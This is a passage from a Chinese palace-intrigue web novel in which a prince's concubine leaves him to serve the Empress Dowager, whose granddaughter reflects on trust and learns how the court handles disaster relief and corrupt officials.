成业对官员们笑了笑,没有回答,然后上前,抓着赵培兰的手臂,把她从地上扶起:“赵孺人,太后让奴婢讯问,您真想好了吗?如今证据确凿,若您愿意回转心意,太后娘娘愿意以正妻的位置让为你和大皇子重办婚事。” 赵培兰面色煞白,嘴唇没有一丝血色,脸上神情却十分坚定:“我从不为正妻的名分。请太后为我主持公道。妾此心如石,再无转移。” 这身麻衣,原来是为她腹中未能落地的孩子而穿的。 成业弯腰给赵培兰拍了拍膝盖和手臂处不存在的灰尘,“赵、女官,请随奴婢来吧。” 赵培兰靠着成业,慢吞吞地向长寿宫内挪动步伐:“多谢公公。” 宫人使用的通道和觐见的路不是同一条,成业带着赵培兰从那条觐见的大路走,两人的身影很快消失在官员视线中。 “娘娘请诸位看过就离宫。”另有一内侍轻声提醒。 这一回官员们脸上火辣辣地,谁也没再吭声。 在他们看来,一个女人在最可怜的时候,没有被自己讨好处,而是非要公道和名声,那就是真相了。 ……话又说回来,既然是真的,大皇子都不想给亲生孩子讨个说法,非要委屈赵孺人息事宁人,也确实没女人想跟这种窝囊废过一辈子。 长寿宫小书房内,赵培兰一步步走到程太后面前,跪下,郑重其事地叩首:“谢太后为我周全。” 程太后笑问:“你落胎的伤养好了吗?” 赵培兰摸着白麻长衫,“回太后,身伤已愈,心结……现在也彻底散了。” 朝臣都知道大皇子性情懦弱,毫无担当,周靖的名望算是碎了,赵培兰心里这口闷气,总算散了。 程太后点点头:“既如此,你今晚开始就留在长寿宫吧,跟宫女去后殿,认一认女官住的院子。” 赵培兰再次叩首,苍白的脸上浮现出欣喜,“谢娘娘成全。” 程太后单手托着下巴,笑着点点头:“哀家此番能够成事,你出力甚多,但我要求你从九品内官做起,免得你日后被人说是因为离开周靖才来的品阶。” “臣无怨。” 赵培兰脸上果真没有任何委屈之类的情绪。 程太后满意点头,又吩咐:“成业,你带人去兴章院,把赵女官的行李物品清点清楚、挪过来,送去她房间。” 成业奉旨出门,程曦和程太后小声说:“外祖母,我去去就来。” 然后,她追着赵培兰往后殿去。 宫女给赵培兰指清楚住所就有有眼色地离开。 程曦堵住赵培兰去路,一把抓住赵培兰手臂,看进她眼中质问:“你没有什么话要对我说么?” 赵培兰飞快低下头,平静地面色被被程曦目光击碎。她不安地抖着睫毛,几次开口又闭嘴咬住嘴唇。 最终赵培兰只能后退一步,跪在地上,用比蚊子叫还轻的声音说:“这几年,都是我对不起你。” 程曦仍旧不放手,摇了摇赵培兰的手腕:“你哪里对不起我?” “我、我……”赵培兰想说什么,但对着程曦那双黑白分明的眼睛,除了哭泣实在无话可说。 上一回,她向程曦道歉的时候,明明有机会将一切和盘托出,但她最后还是选择了隐瞒。 现在再说是想祭奠年少自己的,祭奠无辜惨死的孩子又有什么意义? 她确实辜负了程曦的信任,和她给自己纠正错误的机会。 赵培兰反手拉紧程曦,用力摇头,“这是最后一次,行不行?没有以后了。” ……恐怕她们姐妹之间有没有以后了。 赵培兰手指紧紧绞住程曦的衣袖,抓牢了厚实的衣料,闷头道歉:“我真的知道错了。” “你敢说自己以后不会再对我有所隐瞒么?”程曦的问题一出口,不论她自己还是赵培兰都重新陷入沉默。 程曦恍然意识到,程太后也对她问过同样的问题。 程曦选择了忠于自己。 日后,赵培兰是程太后的女官,她的忠诚应该献给程太后,她们俩显然都意识到了这一点。 那么,赵培兰会如何选择呢? 程曦把丝帕递给赵培兰,让她擦掉眼眶里涌出的泪水,人却安安静静的,没有催促也没有退让,只在原地沉默着,等待赵培兰的选择。 “我……以后你问什么,我都可以告诉你,但若涉及政务,别再告诉太后好么?”赵培兰退让了。 程曦知道自己应该会喜欢这个答案的,可她心里却丝毫没有为自己得到的答案快乐。 外祖母不会害她! 不论从立场、利益还是感情的角度出发,程曦都有信心,她和程太后相互不会背叛彼此。她们祖孙是连“我不会对你说真话”都可以据实以告的关系。 可对着已经做出选择的赵培兰,程曦不能说这些话。 “好。”程曦声音干巴巴的,她视线往房间里看了一眼,催促,“你快去收拾吧,别影响晚上修习。” 程曦逃了。 她快速跑回长寿宫书房,扑进程太后怀里,宽大的衣袖和裙摆在席子上散开,像一朵盛放的花。 程太后在程曦背上捋了几下,笑了笑,没吭声。 程曦闷在老太太怀里,哼哼几声,憋不住话地问:“外祖母,我越来越理解你,也越来越像你了。” “感觉怎么样?”程太后笑着问。 程曦摇头,闷声回答:“不怎么样。身边人逐渐都变得模糊了,我感觉已经没什么人是值得信任的了。他们和我说话的时候也无时无刻在估量着利益和得失。” “更讨厌的是,我也如此。一旦有人告诉我,只和我保持秘密,我反而更怀疑他们的忠诚。”程曦从席子上爬起来,改成依靠着程太后的肩膀。 她沉默了一会,用力甩头,把那些讨厌的情绪丢开,“外祖母,我不喜欢谈这些。我们说说别的吧。” 程曦探身,从包围程太后的一摞摞奏章里翻找着有司天监呈递上来的。 很多人对司天监有个错误的认知,以为司天监就搞些神神鬼鬼的内容。但实际上,司天监做得最多的工作,是检测、记录天气变化和星象,并上报可能的自然灾害,也是唯一一个全年无休的部门。 果不其然,每五日一份奏本的司天监,最近十天天连发二十六本奏章,越靠近的时间对于降雪影响的提醒和警告就越严重。 程曦一目十行地扫过全部内容,板着奏章堆到程太后脚下:“外祖母,准备赈灾么?雪太大了,这样下,北方有些地方肯定已经形成雪灾了。” 程太后欣慰道:“不沉迷在小情小爱之后,这很好。” “不过,赈灾的事情不能着急,要等下面郡县把灾情报上来,再给动作。” 程太后语气寻常,程曦却从中读出了非常冰冷的内容。 她抛开情绪,抓回重点:“外祖母,我过去就想过问您了,为什么不管是水灾、旱灾、虫灾,还是雪灾,每一次灾情传进京中,朝臣们都还要再吵几回,朝廷才会下令赈灾?” 程太后抚摸着桌面上的奏章,“司天监没有千里眼,他们的预测也只能预测个大概的受灾地区,区域的划定做多到郡一级别。那么往下的县和乡,到底有没有受灾、受灾严重不严重,就都是难以预测的情况。” 程太后顿声,看向程曦,发现她脸上的不解,索性拉着程曦转身,对着书房做背景的硕大地图,指向通入京城的那几条山泉。 “你和你娘都喜欢甜水巷的井水,其实甜水巷的井水也出自于凌河相通的地下水线。凌河分成数条支流,几乎供养了整个北地四十六座城池。既然是河道,就需要清理淤积。你还记得有一年京里堵了,城外涨水,但是紧邻的乡下河道却干干净净的事情吗?” 程太后说的很慢,细长的手指在地图上缓缓移动。 随着她的解说,程曦脑中想起来去年那次水患了。 当时京城外面涨水,城内却没有干净水可以喝,于是才闹出了争水案。 但仅仅城郊十里之外,支流的水流完全正常,看不出一丁点问题。 当时郊外水线正常的事情没有人注意到,成顺帝确定京城的水患之后,批了五万两白银修水渠并加固城墙。 隔壁县的几个官员听闻京中涨水,便得了修缮款项之后,贪婪之心大起,跟着申报了灾情,想要贪下赈灾银子。 成顺帝当时亲政不久,根本没有什么应对灾情的经验,没有调查就拨出另一笔三万两白银的款项。 钱发下去之后,隔壁县的官员跟着京官们的进度汇报灾情,连派过去监督的官员也被他们重金买通了。 成顺帝从头到尾都没发现有什么不妥当的。 是程太后复查朝中归档的奏章和政令之后察觉不对,连忙派心腹下去调查,终于察觉问题。 这件事情不合适闹开。 否则依成顺帝的性格,他丢了面子又损失了大笔银钱,肯定不会感激程太后的帮忙,只会埋怨她让人知道他的无能。 而同一时间里,遭灾的京城,赈灾款项也没有被用到正地方,被成顺帝提拔上来的官员将这笔钱层层盘剥,最后真正用在灾情上的钱财不足三成。 那时候的程太后已经跟儿子离心离德了,私心中也不愿意让这笔款项被成顺帝收回国库。于是,她一不做二不休,让程三太爷出面,悄悄把事情解决了。 程三太爷在程家内部一直也是干脏活的,这种走正规程序处理很麻烦的事情交给他来处理反而简单。 程三太爷带上私兵,扮作山匪,把相关责任人全抓了,关到一个房间里面,先一刀宰了官职最大的,然后问其他人钱在哪里,都有谁分到钱了,然后照着官职大小,从上到下开始拷问。 一通暴打下去,没一个嘴巴严实的。 这粗暴的处理方法让在场的官员以为他们坑朝廷赈灾款的事情在绿林中走漏了风声,生怕真为了点钱就丢了性命,争先恐后的把自己藏钱的地点说清楚。 程三太爷一点不客气记录完成后,直接带人去找,找不到或者钱数不足的,先去杀光官员全家老少,再回来给他们抹脖子。 这下子再也没人敢胡说八道了,剩下的官员争先恐后说明银钱存放地方。 等到走完最后一处藏钱的地方,程三太爷意外发现成顺帝拨下去的三万两专款不但全回来了,还额外多出一万七千两。 程三太爷对于官员们的诚实飞叉比你更满意,然后摆摆手,让手下送他们自己归西,保留了他们家人的性命。 之后,程三太爷再以“带兵外出拉练”为借口,扫荡附近的马匪,把马匪们的人头带回来,将官员被杀的罪名扣马匪头上,顺顺当当地领功结案。 至于这笔钱,程太后让程三太爷拿去,继续扩充兵员,改善战士们的伙食,修缮甲胄和兵器。 程家军的士兵们配备的那杆长枪都淬上了一层精钢,枪尖所过之处,无坚不摧。 想起这些往事,程曦心里小小的疑惑烟消云散。 “外祖母,我明白了,官员的品性不值得信任,哪怕他们的上级也有可能是沆瀣一气的贪腐之辈。若是不好好调查,就直接拨款,最大的可能养大是养肥了官员,而不是抚恤百姓。” 况且,朝廷每年也只有那么多的收入,如果有灾情就发钱救灾,也根本支应不过来。 钱肯定要省着些,尽量花在刀刃上。 “外祖母,其实还有一种赈灾办法,不必那么拖延着来来回回地派人下去调查实情。只需要一个位高权重、能压得住的人,带着钱和兵一起出门,就能以最快速度……” “皇祖母,皇祖母,请让我的妾室跟我回去!!”不确定地喊声从殿外传来,打断了程曦的话。 她住口,看向门外。 殿外灰蒙蒙的,日头被乌云遮住了,天黑的比往日都更早一些。 周靖双目赤红,衣衫凌乱,鞋子和衣摆都沾了灰尘,踩在石板上,透出几分落拓。 许多奴婢弓着背张开手臂尽力阻拦周靖的步伐,周靖不耐烦地推开宫婢,抱怨:“都让开,我要见皇祖母,她不能带走我的女人。” 管着院子的宫婢恳求:“大殿下,没有娘娘允许,不可硬闯。请您稍等,奴婢这就进去通传。” “我等不了了!”周靖完全不给面子,大力拨开,从宫婢的缝隙之间强行进来。 程曦透过门扉看到周靖这一幕,她对程太后轻声说:“我去迎。”随即,从位置里起身,快步走到门外,揽住周靖。 周靖不满地抓住程曦肩膀向门上推:“表妹你别拦我。” “大皇兄,你至少把鞋子脱了,别弄脏外祖母的书房。她为你挡了一整天的官员,正犯头疼呢。”程曦抓着周靖衣袖不放,声音略抬起些。 听见“头疼”,周靖总算停下脚步。 他迟疑地向内看了几眼,程太后冷着脸,目光直刺而来。 周靖赶紧低下头,刚刚嚣张气焰顷刻熄灭。 “皇祖母,恼了?”周靖微微侧过身体,压低声音询问。 说话的同时,他跨过门槛,退回屋外。 程曦跟着出门,顺便拉上门,阻隔住程太后的视线。 没有了程太后刺人的目光,周靖迅速放松下来。 他一面踢掉脚上的鞋子,一面问:“培兰呢?皇祖母劝住她了?我今晚必须把她带回去,不然就让人看我的笑话了。” 程曦:“大皇兄,皇祖母打算留赵姐姐在身边一阵子。你今天先回去吧。” 周靖双脚只穿着袜子,踩在冰凉的石板上,寒气顺着双脚往上爬,他慌张地问:“培兰跟皇祖母告状了?” 程曦摇摇头:“赵姐姐没说什么,只求留在外祖母身边。这事情……不好看。” “我知道外面议论纷纷!”周靖着急地抢话,“可皇祖母抢着调查,事情才闹得不可收拾的,难道是我的错么?” 他一推四五六,生怕罪名落在自己头上。 程曦在心里摇头,想:正因为周靖没有态度,不敢调查,程太后才更加看不起他的。 这样没担当的孩子,有哪一点像程太后? 人不喜欢另一个人的时候,是不会为他尽心打算的。